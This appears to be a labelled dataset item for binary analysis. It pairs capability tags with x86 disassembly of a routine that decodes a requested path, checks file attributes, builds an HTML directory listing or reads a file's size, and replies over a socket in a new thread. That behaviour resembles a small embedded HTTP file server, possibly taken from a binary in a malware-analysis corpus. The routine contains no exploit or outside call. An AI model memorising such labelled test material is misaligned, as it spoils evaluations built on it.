Function at 0x408bfa
Capabilities:
Check if file exists
Create thread
Get file attributes
Get file size

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x344
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 0x10]
movzx eax, byte [eax]
cmp al, 0x2f
je 0x408c70
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424f12
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
jmp 0x408c93
mov eax, dword [ebp + 0x10]
mov byte [eax], 0x5c
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424f16
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x408d4d
mov eax, dword [ebp - 0x10]
lea ebx, [eax + 2]
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._strlen
cmp ebx, eax
jae 0x408d08
lea edx, [ebp - 0x11c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x25
jne 0x408d08
mov eax, dword [ebp - 0x10]
add eax, 1
movzx eax, byte [ebp + eax - 0x11c]
cmp al, 0x32
jne 0x408d08
mov eax, dword [ebp - 0x10]
add eax, 2
movzx eax, byte [ebp + eax - 0x11c]
cmp al, 0x30
jne 0x408d08
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0x20
add dword [ebp - 0x10], 2
jmp 0x408d45
lea edx, [ebp - 0x11c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
cmp al, 0x2f
jne 0x408d2a
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0x5c
jmp 0x408d45
lea edx, [ebp - 0x11c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x220]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
add dword [ebp - 0x14], 1
lea eax, [ebp - 0x11c]
mov dword [esp], eax
call sym._strlen
cmp dword [ebp - 0x10], eax
jb 0x408ca6
lea eax, [ebp - 0x220]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x324]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x42480f
lea eax, [ebp - 0x324]
mov dword [esp], eax
call sym._strtok
lea eax, [ebp - 0x324]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0x10
jne 0x408dc2
mov dword [ebp - 0xc], 1
jmp 0x408df4
lea eax, [ebp - 0x324]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
jne 0x408df4
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
jmp 0x409018
mov eax, dword [ebp - 0x14]
sub eax, 1
movzx eax, byte [ebp + eax - 0x220]
cmp al, 0x5c
jne 0x408e0d
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0
je 0x408f00
lea eax, [ebp - 0x324]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x324]
add eax, edx
mov word [eax], 0x2a
lea eax, [ebp - 0x220]
mov dword [esp], eax
call sym._file_to_html
lea eax, [ebp - 0x324]
mov dword [esp + 4], eax
mov dword [esp], 0x4698a0
call sym._sprintf
lea eax, [ebp - 0x220]
mov dword [esp + 4], eax
mov dword [esp], 0x4699c0
call sym._sprintf
mov dword [0x469894], 0
mov dword [0x46988c], 1
mov dword [0x469890], 0x2710
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x328]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._http_header_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
test eax, eax
je 0x408eeb
jmp 0x408edd
mov dword [esp], 5
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x469894]
test eax, eax
je 0x408ecc
jmp 0x409013
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
jmp 0x409013
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x324]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x409013
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [0x469890], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [0x46988c], 0
lea eax, [ebp - 0x324]
mov dword [esp + 4], eax
mov dword [esp], 0x4698a0
call sym._sprintf
mov dword [0x469894], 0
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x328]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._http_header_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
test eax, eax
je 0x409003
jmp 0x408ff8
mov dword [esp], 5
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x469894]
test eax, eax
je 0x408fe7
jmp 0x409013
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret